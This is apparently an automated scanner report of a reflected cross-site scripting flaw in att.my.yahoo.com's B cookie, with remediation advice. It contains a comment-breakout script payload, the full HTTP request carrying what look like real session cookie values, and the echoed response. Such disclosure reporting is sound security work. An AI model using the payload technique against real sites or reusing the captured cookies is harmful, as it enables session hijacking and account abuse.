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att.my.yahoo.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

Cross Site Scripting in my.att.yahoo.com | Vulnerability Crawler Report

Report generated by Hoyt LLC Research at Sun Dec 19 11:57:58 CST 2010.

Summary

Severity:	Information
Confidence:	Certain
Host:	http://att.my.yahoo.com
Path:	/

Issue detail

The value of the B cookie is copied into an HTML comment. The payload 548a9--><script>alert(1)</script>87f54472c27 was submitted in the B cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET / HTTP/1.1
Host: att.my.yahoo.com
Proxy-Connection: keep-alive
Referer: http://www.wireless.att.com/accounts/?source=IC4425j4900s2000
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AO=o=1; B=4qhoo656b19gs&b=4&d=4auM3vprYH0wsQ--&s=a1548a9--><script>alert(1)</script>87f54472c27; myc=d=3_QlekvaRFZQkwOZML24iqjKmLPQtw88v2aiJCCrv8dhq8y.UBCs.AlOboBc65jcSjh2G55Ipn1ulH6ibQAqAisXp22qozyCllSAzYoeDQtfZeRhe0_dsCk4aBdRDfbZVxr1Pln7cZVTI3q_n.OagqhKQ4bkdKhwIH.Sqczbn3XhzoP6WElbEy6gjWqpYe9yfzacBH0uJRdg_RU9TnJtAiqzcMwgT8jEqzkXL299Kxn64860zGJb13lNgoyTfMATXhNHIrj7ygy0LVi7Ws_CwULRTTMm4DC2tATX6i2YjbEsVGyhBZGVeEV4hYInuszFtU3H.p0iA_qToyVVNY4QP2CI6AN0fIGG&v=2; MYTMI=6

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 16:26:14 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: U_mtupes=YToyOntzOjE6ImIiO3M6MTM6IjRxaG9vNjU2YjE5Z3MiO3M6MjoibXQiO2k6MTI5Mjc3NTk3NDt9; expires=Wed, 19-Dec-2012 16:26:14 GMT; path=/; domain=my.yahoo.com
Expires: Thu, 01 Jan 1995 22:00:00 GMT
Last-Modified: Sun, 19 Dec 2010 16:26:14 GMT
Cache-Control: private, no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: myc=d=99VsEJUq.loXk4UhrWUeXmzQJqgvphUk_7IGYYbhEp9I2oP8_O65TMasNMwphVFDec39TOjdactvHI3aN9YBapnnm2dO15HpshaClgBV3YpT2q68ngLRUIQm1y1HfO05A9JC5mCXuTHrD1Vy0kqoS2AQDkuS_XNkt4cILJGs0iADjZpAaLAySChrMaga9WZJyeNBtrU.r9PI.KOJfeN01Wfm14YXCPekZOPMkCaB_82iEWjX29UBr7PCfBchadOjwSpKm3_aqOQ9Vjhcl6018nWIdENZIC_o88YI92RGtso4GamUq5CjTKa7hwbLq23LX1ZkuAhdrKN7EaEncSk5sRPD83rKJ6lgkw--&v=2; expires=Mon, 19-Dec-2011 16:26:14 GMT; path=/; domain=my.yahoo.com
Set-Cookie: MYTMI=6; expires=Mon, 19-Dec-2011 16:26:14 GMT; path=/; domain=my.yahoo.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 247567

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html class="ua-wk ua-win">
<head>
<script>var gTop = Number(new Date());</script> <script> if (
...[SNIP]...
<script>alert(1)</script>87f54472c27]|t[1292775975]|uri[/]|_rid[JjIOTZNsv9FbOwAArzRupg..]|PAGE[YES]|UPES[3.6]|UPESF[3.7]|AC_upes[4.1]|AC_contentdb[29.3]|AC_ups[7.4]|AC_ads[9.4]|coketoday_perf[15.5]|AC_coketoday[24.7]|AC_rss[2.6]|AC_attsp
...[SNIP]...

Report generated by Hoyt LLC Research at Sun Dec 19 11:57:58 CST 2010.